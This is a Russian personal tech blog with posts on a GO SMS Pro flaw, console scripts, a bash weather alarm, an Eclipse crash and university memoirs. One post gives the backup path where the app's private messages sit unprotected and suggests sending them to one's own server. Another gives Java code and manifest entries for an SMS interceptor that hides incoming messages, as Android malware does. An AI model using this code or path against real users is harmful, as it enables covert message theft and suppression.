Похищение СМС

Есть такое приложение как GO SMS Pro. Описание приложения многообещающее — даже защита личных смс. Количество скачиваний более 50кк. Неплохо. Посмотрим насколько оно и правда защищает личные смс.

У приложения есть приватная папка, устанавливаем пас для доступа и перемещаем туда свои сокровенные смс. Пароль спрашивает, украсть смс стандарным способом не вышло (get sms android java, тыкаем на стековерфлоу и копируем код).
Приложение переодически делает бекап или ручками можно сделать. И получается, что все сокровенные и дорогие смс лежат в /sdcard/GOSMS/backup/SmsFolders/private/ файл db и текстовый файлик с расширением dat, в котором живет список номеров, которые отправляются в сокровенную папку. И да, никаких паролей не надо. Вуаля и сообщения не защищены.

Дальше нужно создать архив с содержимым этой папки и отправить к себе на сервер.

Такой вот он безопасный и секурный месенджер.

Цветной консольный

У меня SSD на 250 гб и постоянно проверять сколько же у меня свободного места мне лень. А еще мне не нравится простой смерный dmesg, ну и так, по мелочам.

Каждый раз открывая консоль, я хочу видеть, что интересного у меня в системе. А именно: загруженность cpu, использование памяти, свободное место на диске, ошибки из dmesg.

Начнем с правки dmesg. Хочу время в цивильном формате и раскраску. На просторах интернетов нашла скриптик на перле и чуть поправила:


#!/usr/bin/perl -w
use Term::ANSIColor;
use strict;
my @dmesg_new = ();
my $dmesg = "/bin/dmesg";
my @dmesg_old = `$dmesg`;
my $now = time();
my $uptime = `cat /proc/uptime | cut -d"." -f1`;
my $t_now = $now - $uptime;
sub format_time {
my @time = localtime $_[0];
$time[4]+=1;
$time[5]+=1900;
return sprintf colored( sprintf('%4i-%02i-%02i %02i:%02i:%02i', @time[reverse 0..5]), 'white' );
#return sprintf '%4i-%02i-%02i %02i:%02i:%02i', @time[reverse 0..5]; no color
}
foreach my $line ( @dmesg_old )
{
chomp( $line );
if( $line =~ m/\[\s*(\d+)\.(\d+)\](.*)/i )
{
# now - uptime + sekunden
my $t_time = format_time( $t_now + $1 );
push( @dmesg_new , "[$t_time] $3" );
}
}
print join( "\n", @dmesg_new );
print "\n";

Я его положила в /etc/scripts/

Теперь редактировать .bashrc. Вписала строку
alias dmesg="/etc/scripts/dmesg_time.pl"

А теперь информер


cat /etc/profile.d/login.sh

#!/bin/bash
uptime | awk -F, '{print "\033[1;37muptime\033[0m" $1}'
ps aux | awk '{s += $3} END {print "\033[1;37mcpu\033[0m " s "%"}'
ps aux | awk '{s += $4} END {print "\033[1;37mmem \033[0m" s "%"}'
df | grep -E "/$" | awk '{print "\033[1;37muse / \033[0m" $5}'
df | grep -E "/home$" | awk '{print "\033[1;37muse /home \033[0m" $5}'
df | grep -E "/home$" | awk '{print "\033[1;31mfree /home \033[0m" $4}'
df | grep -E "/$" | awk '{print "\033[1;31mfree / \033[0m" $4}'
echo -e "\033[1;37mprocess: \033[0m " `ps aux | wc -l`
echo -e "dmesg error \n `/etc/scripts/dmesg_time.pl | grep -i error | tail -10` "

зы. Когда-нибудь я заведу гитхаб.

Будильник с google

Буду как всегда не многословна. Наклепала будильник на баше.

Что умеет — вещает голосом гугла погоду с рамблера. У них там всякие милые фразочки проскальзывают, в духе «не забудьте шарф», «одевайтесь теплее». Милота.
И еще грепает по твиттеру сообщения с чп в метро и если находит оповестит меня с утра об этом. Будет лишний повод дома остаться.

Работает на mplayer. А живет эта конструкция на одноплатнике.

Состоит из 2 скриптов. 1 парсит и читает погоду, другой парсит метро, в крон нужно оба.

скрипт для погоды и чтения
#!/bin/bash

n=`curl http://weather.rambler.ru/ | cat -n | grep "dayName: 'сегодня'" | awk '{print $1}'`;
let "n = $n - 1";
txt=`curl http://weather.rambler.ru/ | cat -n | sed -n "$n,135 p"`

day=`echo $txt | tr "," "\n" | awk '{ sub($1." ",""); print $0 }' | grep -E "^day:" | awk '{print $2}'`
month=`echo $txt | tr "," "\n" | awk '{ sub($1." ",""); print $0 }' | grep -E "month:" | awk '{print $2}' | sed -e "s;';;g;/^$/d"`
dayname=`echo $txt | tr "," "\n" | awk '{ sub($1." ",""); print $0 }' | grep -E "weekday:" | awk '{print $2}' | sed -e "s;';;g;/^$/d"`
description=`echo $txt | tr "," "\n" | awk '{ sub($1." ",""); print $0 }' | grep -E "description:" | sed -e "s;';;g;/^$/d" | awk '{ sub($1." ",""); print $0 }'`
wet=`echo $txt | tr "{" "\n" | grep Ветер | sed -e 's;.*speed: ;;g' | awk '{print $1}' | head -1`
toolTip=`echo $txt | tr "," "\n" | awk '{ sub($1." ",""); print $0 }' | grep -E "toolTip" | sed -e "s;';;g;/^$/d" | awk '{ sub($1." ",""); print $0 }' | tr "\n" " " | sed -e 's;.*\.;;g'`
toolTip1=`echo $txt | tr "," "\n" | awk '{ sub($1." ",""); print $0 }' | grep -E "toolTip" | sed -e "s;';;g;/^$/d" | awk '{ sub($1." ",""); print $0 }' | tr "\n" " " | sed -e 's;\..*;;g'`
if [ "$dayname" == "пн" ]
then
dayname="понедельник"
fi

if [ "$dayname" == "вт" ]
then
dayname="вторник"
fi

if [ "$dayname" == "ср" ]
then
dayname="среда"
fi

if [ "$dayname" == "чт" ]
then
dayname="четверг"
fi

if [ "$dayname" == "пт" ]
then
dayname="пятница"
fi

if [ "$dayname" == "сб" ]
then
dayname="суббота"
fi

if [ "$dayname" == "вс" ]
then
dayname="воскресенье"
fi
min=`echo $txt | tr "}" "\n" | cat -n | grep " t: {" | tr "," "\n" | grep min | sed -e 's;.*min:;;g'`
max=`echo $txt | tr "}" "\n" | cat -n | grep " t: {" | tr "," "\n" | grep max | awk '{print $3}'`

count=`cat ~/weather/metro.info | sort | uniq | wc -l`

mplayer ~/weather /1.mp3
mplayer "http://translate.google.com/translate_tts?tl=ru&ie=UTF-8&q=сегодня $dayname, $day $month"
mplayer "http://translate.google.com/translate_tts?tl=ru&ie=UTF-8&q=ожидается температура от $min до $max, Ветер $wet м/с."
mplayer "http://translate.google.com/translate_tts?tl=ru&ie=UTF-8&q=$description"
mplayer "http://translate.google.com/translate_tts?tl=ru&ie=UTF-8&q=$toolTip1"
mplayer "http://translate.google.com/translate_tts?tl=ru&ie=UTF-8&q=$toolTip"
mplayer /root/weather/1.mp3
if [ "$count" -ge "5" ]
then
mplayer "http://translate.google.com/translate_tts?tl=ru&ie=UTF-8&q=метро сломалось, смотри тви"
mplayer ~/weather/1.mp3
fi

:>~/weather/metro.info

Скрипт для метро. Большая и страшная регулярка.

#!/bin/bash

curl -ssl "https://twitter.com/search?f=realtime&q=%23%D0%BC%D0%B5%D1%82%D1%80%D0%BE&src=typd" | grep -E -o "js-tweet-text tweet-text.*< \/p>" | sed -e 's;[>< \"=-]; ;g;s;js tweet text tweet text lang ru data aria label part 0;;g;s;/a;;g;s;\/\(a\|p\); ;g;s;\(.span\|.strong\|class\|twitter\|timeline\|link\|js display url\|invisible|\tco ellipsis\|href\|nofollow\|dir\|ltr\|data\|expanded\|url\|invisible\|tco\|ellipsis\|google&amp\;utm_medium\|banner&amp\;utm_campaign\|business_news\|target\|_blank\|title\|atreply\|pretty\|&nbsp\;\|rel\|s\|?utm_source\|draggable\|false\|alt\|aria\|label\|u\|hidden\|pre\|embedded|\true\|b\|a\|qery\|orce\|hahtag_click\|hahtag\|j\|nav\|emedded\|tre\|&qot\;\|emedded\|tre\|rc\|hh\|qery\|orce\|hhtg_click\|hhtg\|img\);;g;s; ; ;g;s;&#10\; ;;g;s;&qot\;;;g;s;emedded;;g;s;tre;;g;s; \/ ;;g;s;hhtg_click hhtg;;g;s;hh;;g;s;qery oe;;g;s;\/tg\/[a-zA-Z]*;;g;s;tweet;;g;s;text;;g;s;lng;;g;s;nd;;g;s;prt;;g;s;#;;g;s;http://intgrm.com\s\/[a-zA-Z0-9]*\/;;g;s; http://intgrm.com;;g;s;http:// intgrm.com \/;;g;s;%[a-zA-Z0-9%]*?;;g;s; *; ;g' | grep -E -i "жертв|авари|ЧП|чп|неполадки|перебои|ликвидаци|интервал|светофор|стрелка|катастрофа|час пик|перекрыт|остановлен|интервал|не ходят|ремонт|приостановлено|сбой|неисправ|сломался поезд|бомб|взрыв|теракт|затруднен|приостанов" >> ~/weather/metro.info

в роли 1.mp3 может быть любой короткий звук, для привлечения внимания

Eclipse, Fedora и SIGSEGV

Не так давно я переехала на Fedora 20 x64 и попыталась установить Android SDK.

Распаковала архив, запустила adt-bundle-linux-x86_64-20140702/eclipse/eclipse. На первый взгляд всё ок и можно кодить. Но спустя некоторое время эклипс вылетает вот с такой ошибкой:

Error creating proxy: Соединение закрыто (g-io-error-quark, 18)
#
# A fatal error has been detected by the Java Runtime Environment:
#
# SIGSEGV (0xb) at pc=0x0000003774a70061, pid=2378, tid=140679359919872
#
# JRE version: OpenJDK Runtime Environment (7.0_71-b14) (build 1.7.0_71-mockbuild_2014_10_15_17_02-b00)
# Java VM: OpenJDK 64-Bit Server VM (24.65-b04 mixed mode linux-amd64 compressed oops)
# Derivative: IcedTea 2.5.3
# Distribution: Built on Fedora release 20 (Heisenbug) (Wed Oct 15 17:02:58 UTC 2014)
# Problematic frame:
# C [libsoup-2.4.so.1+0x70061] soup_session_feature_detach+0x11
#
# Failed to write core dump. Core dumps have been disabled. To enable core dumping, try "ulimit -c unlimited" before starting Java again
#
# An error report file with more information is saved as:
# /tmp/jvm-2378/hs_error.log
#
# If you would like to submit a bug report, please include
# instructions on how to reproduce the bug and visit:
# http://icedtea.classpath.org/bugzilla
# The crash happened outside the Java Virtual Machine in native code.
# See problematic frame for where to report the bug.
#

После поисков в гугле узнала, что это бага в самом эклипсе(v4.2.1) и решение — более новые версии.

Установила с реп новую версию(v4.3.2). Затем по инструкции все с тогоже гугла добавила ADT и прописала путь к SDK.

Если вам повезло так же, как и мне — ставьте руками новый эклипс.

О Android, SMS и малвари

Одна из наиболее популярных возможностей вредоносного ПО под Android — перехват смс.

Прехватчик как сервис висит в фоне и осматривает все СМС. Если совпадает, например, текст сообщения, то эта смс не показывается пользователю. Приложение, перехватившее смс, может что-то с ним делать. Обычно или просто прячет от глаз пользователя или парсит.

Прехватчик состоит из 2 частей: код на java и запись в манифесте. В манифесте прописывается приоритет для перехватчика. У других приложений может быть другой приоритет — и если он ниже, чем у нас, мы можем перехватить сообщение. И наоборот — приложение с более высоким приоритетом может перехватить СМС до того как оно дойдет нам.
Такой перехватчки скроет от глаз пользователся все приходящие СМС с текстом «Hi»

public class MessageReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Bundle pudsBundle = intent.getExtras();
Object[] pdus = (Object[]) pudsBundle.get("pdus");
SmsMessage messages =SmsMessage.createFromPdu((byte[]) pdus[0]);
Log.i(TAG, messages.getMessageBody());
if(messages.getMessageBody().contains("Hi")) {
abortBroadcast(); //Вызов этой функции и не дает СМС уйти дальше нашего приложения
}
}

В манифест:

<receiver android:name=".SMSReceiver"
android:permission="android.permission.BROADCAST_SMS">
<intent-filter android:priority="999" %
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>


И конечно, прописать необходимые права:

<uses-permission android:name="android.permission.RECEIVE_SMS" />


Если выбрать приложением для СМС Hangouts, то перехватить СМС не получится. Точнее, приложение перехватчик получит свою СМС, но и Hangouts его получит и покажет пользователю. Hangouts обычно стоит по дефолту на телефоне и его нельзя удалить без рута.

У некоторых телефонов в стандартной прошивке его нет. На таких телефонах в маркете у Hangouts вместо кнопки «Установить» кнопка «Включить».

DQAnpx6WtoI

Как я училась в вузе. Диплом.

TV3tv0vlfTA








Фото парты с филиала. Филиал в пределах центра города.

В рассказе про вуз, обещала рассказать про диплом.
Значит, вуз МГУПИ. Кафедра ИТ-9, специальность «Информационные системы», бакалавр. Тема диплома: «Разработка интегрированного модульного программно-аппаратного комплекса поддержания комфортных бытовых условий и возможностей самообслуживания людей с болезнью Паркинсона».

Выбор научрука.
Вариантов было чуть более, чем ничего. Научником может быть любой преп с кафедры, у которого есть ученая степень. Ну а преподы с ученой степенью почти не вели, ибо есть клевая рабочая сила в лице аспирантов. Как вариант был еще преп, который вел разработку андроид и оси, но сий чувак весьма мутный. Мутность была в распиздяйстве, пока он вел пары всячески намекал студентам чтобы перестали ходить на пары. Как-то он сказал это и прямо, но весьма аккуратно — кто не хочет может не ходить и спать дома, свой несчастный зачет всегда получит, ну может пол помыть придется или пожрать ему купить. И очень много агрессии исходило от чувака.
В качестве научника был выбран чувак, который рулит лабораторией кафедры. Как потом оказалось, он вообще не имеет прав вести дипломников. Ученой степени нет.

Как я вообще узнала, что у научника должна быть степень. На зимней сессии, на зачете у мутного чувака, он спросил: «Писала ли я заявление в деканат с темой диплома, кто научник и какая тема.» Оказалось, что надо было писать какое-то заявление. Шта? Заявление? А чо я не вкурсе? И почему морозится научник? Мутный чел отправил за инфой к завкафу. Так я и узнала о её существовании. Завкаф менялся не задолго до сий момента. Женщина довольно приятная на общение. Рассказала, что все дипломники со специалитета написали сий заявку. Так же она рассказала, что научник должен иметь ученую степень, а у моего такой нету. Из-за сий факта, у научника и завкафа походу не херовый такой конфликт. Как оказалась несколько позже заявление с темами он написал сам и отнес в деканат. Вот сюрприз так сюрприз. Но можно было хотя бы сказать это?!

Научник запилил себе в вк аккаунт и создал группу со своими дипломниками. Обьяснил, что так нам будет легче его найти. Пользы от группы так и не углядела, её забросили спустя месяц. На сообщения в вк отвечал не всегда, порой и читал раз в неделю. Собственно, чем ближе к защите, тем больше мороза. По телефону доступен только в будни.

Примерно в тот же промежуток времени поднялась нехилая такая паника с преддипломной практикой. Ходили слухи, что вуз распределит куда-то или срочно нужно писать заявление о прохождении на работе. В срочном порядке пошла пинговать научника. Через пару дней выслал образец и к образцу накалякал абзац правок. Образец конечно же в JPG. После нечитаемого расписания занятий даже не удивилась. На работе составили, распечатали, подписали и отнесла научнику. Оказалось, что практика после летней сессии. Да-да, у меня была летняя сессия, но об этом чуть позже. Практика была только на бумаге. А вот на сайтике кафедры в списках мест прохождения у всех студентов была некая контора под названием ООО «ЛИД». Что это за херня никто не обьяснил.

Снимок экрана - 22.07.2014 - 19:41:08

Рассмотрев этот файл, можно заметить, что почти все без степени. Пообщавшись с научником выяснила, что он считает себя умнее всех остальных поэтому к нему так плохо относятся. Логично, чо. (нажать на картинку чтобы увеличить)

А теперь про сессию.
Сначала говорили, что летней сессии не будет. Из-за чего на первые пару недель семестра забила, пока выясняла какого хрена учимся, когда сессия и когда писать диплом, черт возьми. Научник сказал не ходить на пары, пока все не прояснится. Оказалось что сессия будет в середине апреля. Типа бакалавры, урезана праграмма обучения, бла-бла-бла, -2 главы диплома, бла-бла-бла, ничо страшного вы справитесь.

Приближается сессия. Прихожу в деканат — «ребят, а где расписание?» Зам декана (или как там этого чувака точно не знаю, но он с нашей кафедры) дико выебистый парень, на протяжении всего диалога хотелось его чем-нибудь ударить по лицу. Думаю не только у меня такое желание возникало. Сий чувак упорно делал вид, что не понимает о чем я. Когда почти заставила звонить на кафедру он начал что-то делать. Чуть позже перенесли еще на месяц. Сессия началась в мае. По цать зачетов за день. Уложили всю сессию в неделю.

Сразу после олимпиады до меня дошли слухи про запил завкафа под названием «умный дом», по сути — тоже самое, что и мой диплом. Это весьма насторожило и как чуть позднее оказалось не зря. Тогда же она узнала про тему и к моей персоне появился неподдельный такой интерес.

А еще у нас была предзащита. Предзащитой её назвать крайне сложно. Научник сказал, что это репетиция самой защиты, потому надо быть готовой защищаться. Ну ок.

Как это было на самом деле.
Начали только спустя час после заявленного времени. Вход по 3 человека, показать пояснительную записку, взять требование по нормоконтролю и все. Эээээ, репетиция защиты?! На тех, у кого совсем было плохо с запиской повыебывались и все равно допустили до защиты. А я притащила полный рюкзак железок помимо мукалатуры. Зря тащила.

Для защиты нужно было собрать еще несколько подписей и отнести в деканат. Значит оформление не нравится, переделывай. Опять не так? Ну переделай еще несколько раз. А некоторые студенты перепечатывали чуть ли не бесконечное число раз. Одного не хотели допускать из-за фазы Луны. Другой проебался со сроками подачи всех бумажек и все равно допустился. Я принесла эти бумажки в последние минуты работы деканата и как оказалось это было очень вовремя. На защиту диплома деканат выдает личные дела студентов, в которые входит зачетка, посчитанный средний балл, рецензия на диплом и еще какая-то херня. Эти личные дела должен кто-то забрать и отвезти на филиал, там где будет проходить защита. Про эти лич дела все забыли или забили, еще б не забыть всего 4 человека. Значит, кому надо тот и неси. Надо конечно мне.

В тот же день узнала, что защита завтра. Хоть научник и говорил, что послезавтра. Подумаешь, ошибся, херня какая. Принеся личные дела на кафедру, чувак из деканата, которого ударить хотелось с порога, заявил — «За диплом 2!». Отвечать ему ничего не стала, ибо он уже был бухой в говнище. Оставила пакет, собралась уходить. Начал орать что я ему взятку пытаюсь дать и чтобы забрала пустой пакет. Опять хотелось ударить. Вообще на протяжении всех 4 лет мне много кого хотелось ударить. Этот <вырезано, не буду оскорблять людей> сидел в комиссии на защите.

А еще в тот же день спрашивала научника, а надо ли накрывать поляну комиссии и цветы женщинам. На что он отвечал — а хрен знает, походу не надо. Это навело на сомнение, неужели сами гору жрачки и бухла принесли. В тот же вечер позвонила еще чуваку из комиссии, это вроде еще один зам декана и опять с нашей кафедры. Как бы чо ходить вокруг да около, спросила прямо, что нести на защиту. Походу он растерялся от моей прямоты, что-то говорил про минералку, а остальное сказал приветствуется. Ну понятно, в тот же вечер была закулена поляна.

Защита началась тоже спустя час от заявленного времени и то пришлось несколько раз пингануть. Кто и когда идет решали сами. Помимо нас четверых человек еще часть специалитета, походу неуспевших накануне, и заочники. Кто и когда защищается решали сами.

Как должна проходить защита — заходит студент тыкает флешку с презентахой в ноут, запускает презенташку и рассказывает. Если есть что показать — показывает. Притом на все 7 минут. И они прерывали студентов в любой момент как надоест слушать. Или подъебать с самого начала в духе, а что это за херня? И после засыпать вопросами, если по каким-то причинам хочется насрать. Насрали очень малому количеству студентов.

А вот как моя проходила.
Основная часть моей защиты это демонстрация проекта. А точнее помигать лампочкой и показать платки. Попросила дополнительное время для подключения железа. На что сказали, тогда нафиг презенташку давай демонстрацию! Как работает поделие. к роутеру подключена малина, к малине радиомодуль. Клиентский девайс подключается к сети от роутера. Тыкает по кнопочкам в веб панельке и свет вкл/выкл. Остальное не буду расписывать, ибо все равно не доделано, не работает и все такое.
Собрала всю эту конструкцию, а роутер положила около кулера проектора. Ну очень мало места было. Он ужасно перегрелся за то время пока собирала и не пинговался вообще. На что мне сказали сидеть тут и ждать пока он остынет. Они хотят играть в лампочку! За это время пока он остывал слушала как проходила защита у других, это расписала уже чуть выше.

Когда он остыл, комиссия поиграла. Рассказали мне про проект который уже ведется на кафедре и что он почти не сошел с мертвой точки. И что у них большие планы на мой дип проект. А точнее — они хотят его продавать. А как сказал научник кафедра будет продавать, а мне корка от магистра. Звали в магистратуру, на что отвечала: «да, конечно, пойду». Они взяли мой номер телефона и один из комиссии оставил свой. Задали пару вопросов с стиле «а могу ли я такое дома поставить? будет работать?». Сказали мне сразу оценку, дали обходной и Добби почти свободен.

А еще сказали, что на сайте кафедры напишут сроки подачи заявления в магистратуру. Но конечно ничего не написали. А я забила на это.

Хотя зная мой вуз, не удивлюсь если зачилят и без моего участия. Это же им надо.
Про вручение дипломов уже писала в прошлый раз. Не буду повторяться.

Как я училась в вузе

В далеком 2010 году поступила я в ВУЗ. Моих несчастных 166 баллов (по 3 предметам) хватило только на МГУПИ.

Мама хотела, чтобы я училась в МГТУ СТАНКИН, и поэтому туда сразу отдали оригинал аттеста. Но моих баллов в первую волну на бюджет не хватало. Было несколько попыток забрать аттестат, но приемка морозилась, убеждая подождать 2 волны. В итоге, почти с боем аттестат отдали.

Одна девушка, поступавшая в МГУПИ вместе со мной, опоздала на 40 минут со сдачей документов на бюджет и оказалась только на платном. А парень, опоздавший на примерно неделю, пообещал бутылку и его взяли на бюджет.

Когда из МГУПИ попросили принести документы для зачисления, сказали заглянуть в какой-то кабинет для получения направления на практику, которая заключалась в заполнении студенческих билетов или чем-то таком. На что успешно забила. Никто и не вспомнил.

Поступила на кафедру ИТ-7 (информационные системы и технологии) на бакалавра. Кстати, до сих пор так и не знаю что я должна делать по этой специальности. На этой кафедре еще 2 направления: АСУ и робототехника. Ныне сия кафедра зовется ИТ-9: в вузе уволился ректор, который был у нас зав. кафедры. Получилась бесхозная кафедра. Сначала нас отдали ИТ-4, потом забрали обратно, затем назвали ИТ-9, еще позднее КБ-4. Видимо приставка КБ (компьютерная безопасность) не вписывалась в общее правило имен кафедр (факультет + номер). Остановились на ИТ-9.

При поступлении нас было 11 человек. Так мало из-за того, что мы были первыми бакалаврами на ИТ. Причем моя специальность оказалась неаккредитованной, но об этом мы узнали только когда одного чувака из группы неожиданно забрали в армию. Прямо под новый год, то есть в конце призыва. После этого случая поднялась паника, что всё, годных заберут. Тут кафедра поведала нам всю правду и сказали, что к весне акредитуют. Собственно, что и произошло.

Выпустились мы в количестве 4 человек. А с 4-ым познакомились перед самим дипломом.

В процессе обучения было дохрена левых предметов (особенно на 1 курсе): этика, культурология, психология, глобальные конфликты 20-21 веков, социология управления, русский язык и культура речи, философия, экономика, правоведение, экология, бжд, отечественная история. Часть из этого есть на любой другой специальности, но у нас левых предметов было как то совсем много.

На протяжении всех 4 лет обучения происходил ужасный треш.
Только в 1 семестре 1 курса дали расписание в читаемом виде. Во все последущие разы оно было таким

7B4mno1uTFk








К предметам прилагался файл с расшифровкой, вот только выдавали его бывало только спустя некоторое время от начала семестра. Постоянные изменения расписания на протяжении половины семестра были нормальной практикой.
И вообще, т.к. вуз уже окончила можно писать все как есть.

На первых 2 парах культурологии, когда нас сидел целый поток преподаватель по очереди подзывала к себе, допрашивала, еще и записывала: как зовут, чем занимаешься, какие интересы. Нахера?

По этике преп считал своим долгом положить хер на появление в вузе. В итоге чувака уволили и отдали нас ебанутой тетке с позывным «Альбина». Сий барышня выебывалась как только могла. Приходилось учить чуть ли не исторические факты из Древней Греции. И конечно рефераты! Рефераты!

Она же вела семинары по психологии и принимала там зачет. Зачет длился овердохера по времени. Семинары вела неадекватная тетка, а лекции мужик помешанный на армии и слушали мы как он служил, как воевал, растил детей/собаку, сажал дерево, строил дом. Зато на такие лекции можно было забить и поспать лишний часик дома.

Экономика шла целый год. Сначала семестр вела бабушка, требовавшая выписывать определения и значения на картонные карточки, а потом чувак, который каждый раз за день до своих пар отправлял мне смс с текстом что-то вроде «ребят, я заболел и завтра не учимся». Потом я ему писала смс с «мы не придем», на что чувак отвечал «ок». А потом поставил нам всем то, что хотели.

Под физкультуру выделяли отдельный день. Представьте целый свободный день посредь недели. Для зачета надо посетить 13 занятий, примерно по одному каждую неделю. У нас под сий дело построено целое здание, именуемое «Дворец спорта». Там дохрена разных секций и там же проводят день открытых дверей. Так что, ожидаемо, он новый и красивый. А учебный корпус почти сыпется. Так о чем я. Физкультура покупается, и официально. Зачет стоит 1.5к наших деревянных рублей. Идешь в кассу, оплачиваешь пересдачу, дают абонемент в тренажерку, он же чек. С чеком и зачеткой идешь к завкафу, забыла фамилию чувака.

Но сейчас он там уже не работает. Так что валид ли тема неизвестно. 1.5к рублей раз в семестр и +выходной каждую неделю. Примерно 100 рублей в неделю стоит этот выходной.

А по истории женщина на самой первой паре заявила, что их кафедра честная и взяток не берет, а армия всех ждет. Дико. Очень.

На 2 курсе целых 3 предмета вела зам зав кафа Милена батьковна. Социология управления, социология и политология и чот по спецухе. Барышня вся из себя: на паре не спи, не пизди, музыку не слушай, телефон/планшет не лапай и не вздумай опаздывать. Выйти поговорить по телефону ? — Хуй! В туалет? — Надо подумать, но тоже хуй. При этом сама опоздает на пару часов, попиздит полчасика и по домам. Требовала чтоб принесли проектор и комп. Комп для проектора это десктоп, хотя у нее есть свой нетбук. Но без дела он не остается: пока лаборант работает переключателем слайдов на проекторе, она читает тот же текст из презенташки на нетбуке. На слайдах длиннопост, а она его читает. Грац, читать мы не умеем, прочитай нам, о госпожа! Зачета без реферата не будет! Твой реферат спизжен, переделай! Еще раз опоздаешь — на пару не пущу!

Правоведение. Барышня по типу «Альбины», только этой голову мыть религия не позволяет. Еще и орет постоянно. А также опоздал — пиши объяснительную. 3 проеба и хуй, а не зачет. Она вела по субботам с 9 утра и всего 2 пары, а других пар в этот день нет. Несколько ломает. Наебать на проеб можно, достаточно запомнится ей. Ближе к зачету отправила проходить тесты в вебе на паре. Еще и акция — напиши 3 теста на ок оценку и свали пораньше. Не будь она настолько дурой наебать отредактированным исходником не получилось бы. На зачете все спокойно списали.

Глобальные конфликты. Еще одна «Альбина». Её изюминка в прогоне рефератов через антиплагиат. Меньше 75% (если не изменяет память) иди и переделай! Пиши конспект, не пизди, не спи и все такое. Походу они все такие с гуманитарных кафедр. Агрессия и уныние.

Математика. Вели ее 3 препода на протяжении 3 лет. Дискретка, теория вероятности, мат анализ, линейный анализ. По лин анализу прикольная тетка из мгу, только зачет суровый был. По остальной математике списывай не хочу. Только формат экзамена сначала задачки: решаешь на 4+ проходишь в следущий тур, в котором и можешь получить эти 4-5, сдав теорию.

Переферийные устройства. Чувак только окончивший этот вуз почти не вел пары, а на НГ сессии решил выябнутцо и пополнить бар. Приебывался к каждому слову, дабы завалить и развести на бутылку. Лучи ненависти и негатива в твою сторону, чувак! Все-таки подъебнул меня на чем-то и за +1 балл потребовал бутылку. Ну принесла.

Как-то на зачет не пришел препод. Искали как с ним связаться. В деканате сказали, что таких препов нету вообще. А в учебной части сидела девушка с клавой для блондинок, тоже ничего не знала, хотя эта клава говорила все за нее.
А еще деканат поставил нам в расписание сессии зачет по несуществующему предмету. Сюрприз! Но зачет потом обьявили в расписании не валидным. хоть и не проставляли. Зная мой вуз, радуешься, что не повесили как задолжность.
Было дохрена прекрасных пеподователей-аспирантов, которые были убеждены, что размер HDD не превышает 10Гб, да и ОЗУ бывает типа DIMM или SIMM. А еще был чувак по сетям, который погуглит и расскажет. Был адепт Borland C++. На все просьбы перестать насиловать труп, парень честно сказал, что ничего иного он не знает. А еще у него ноут с LPT портом! Нет, это его личный ноут.

На ИБ рассказали про бекапы серверов на CD. Актуально и современно, блеать! На 1 и 3 курсе нам чуть чуть преподавали С++. В остальные годы мы писали калькулятор на Delphi и двигали квадратики по формочке. И на 2 экзамена и курсовую делали один и тот же проект.

Мы учились в 2 зданиях: в главном и в филиале, он же факультет среднего спец образования. Если из главного здания преподы писали смс, что не придут, то тут просто клали хуй. Опаздать на пару? Хуйня какая. Не придти вообще? Говно вопрос. Опоздать на дохера не застав студентов? Выебываться на студентов!

На предмете Операционные системы, мы проходили что такое DNS и DHCP, но никак не архитектуру. А на архитектуре ЭВМ мы узнали что такое ЭЦП.

А после 1 курса у нас была охуительная практика в приемной комиссии. Мы как бесплатная раб сила раздавали листовки, вбивали в бд данные абитуриентов, отвечали на вопросы и все такое. Все лето по 2 недели на студента, посменно. А еще нас пас чувак вечно выебывавшийся. Я целенаправленно косячила и добилась желаемого — меня сослали на улицу отвечать на вопросы и листовки выдавать. Там я спала на лавочке, укрывшись этой самой листовкой, благо она как разворот газеты. И весь этот треш начался в сессию. Сдавай сессию и раздавай листовки! Абитуриенты приходили всем семейством подавать документы и у всех горы тупых вопросов! А черчение сдавать надо? А математика сложная? А я хакером стану? А прогать научат? А сколько сейчас средний балл? Вот мне блять с улицы прекрасно виден средний балл.

На 1 курсе учились утром, на 2 с полудня. Из-за чего на 3 курсе было тяжело встать рано утром. Поэтому часть пар проебана. На том же 3 курсе я работала лаборантом на кафедре. Мы пилили роботов и перекладывали бумажки. Об этом уже писала ранее. Это могло быть прикольно, если бы не бумажки.

На 3 курсе преподавали программирование под Android. Препод весьма эпичный. Сам он написал только калькулятор, диспетчер задач и крестики-нолики. От нас он требовал читалки MS файлов, игры, шифровалки файлов. На парах вызывал студента с ок почерком переписать xml-ник на доску. Так было на всех парах, что я посетила, их было около 5. Не думаю, что на других сия методика была иной. Вообще процесс переписывания сырков от руки на доску весьма сомнительной полезности.
Так же была пасхалка. Сдай ему зачет через отсканированную и распознаную книжку в 100500 страниц. Желающих было много. Сий товарищ проебался с вписыванием оценок в ведомость студентам, сканирующих книги, чувак просто съебался в другой город и похую ему все. После принятого от нас зачета решил попробовать на следущий год программирование под iOS. Логично, чо, не срослось с Android — срастется с iOS. Он же дипруком выступает, замечательный дипрук, кидает своих студентов на 35к. Пишет им диплом: пояснительную записку с плохим оформлением и без проекта.

У меня тоже был прекрасный дипрук. Он никогда ничего не знает. Зато и не мешает. Даже с датой защиты и то промахулся на сутки, а узнала об этом за 16 часов до защиты. Тема диплома была «Разработка интегрированного модульного программно-аппаратного комплекса поддержания комфортных бытовых условий и возможностей самообслуживания людей с болезнью Паркинсона» или по простому «умный дом». Сначала была тема «умный дом», но это слишком просто и вообще не тру, из-за этого добавили Паркинсона. На защите помигала лампочкой, показала платки, рассказала про невероятную крутость сий запила. Но они меня вряд ли слышали все-таки мигать лампочкой весело и задорно! После защиты мне объявили сразу оценку и сообщили о хитром плане продать проект, как понимаю без меня.

Лучи ненависти в деканат и преподу по Микроконтроллерам. В зачетке стоит 5, в ведомости 4. Зав кафедры звонила в деканат чтоб исправили, но хуй. В дипломе 4.

Чуть не забыла, год назад в вузе закрыли казино! На филиале сдавали помещение кому-то, а вот чем там занимались никто не знал. Когда почти построили тайный подземный ход, казино спалили и закрыли. Некоторое время спустя, вроде как по состоянию здоровья, слился ректор.
Строили еще один учебный корпус, именуемый лабораторный. Значит, раскопали грунт под фундамент, решили что из-за близости реки строить так просто нельзя. Взяли пробу земли, предварительно все закопав, и через годик раскопали и повторили сий процедуру. При этом растояние от главного здания не более 10 метров.

cc218e92634cf1904d140f8f9dee2d23






Когда начал появлятся антитабачный закон, в вузе запретили курить в хаотичной части двора. Только в отведенном месте. Если куришь в любом другом, то стоящий неподалеку чувак с фотиком тебя запечатлит и отнесет в деканат. Привет, выговор! Вроде 2 выговора и торбу, документы в руки и янки гоу хом.

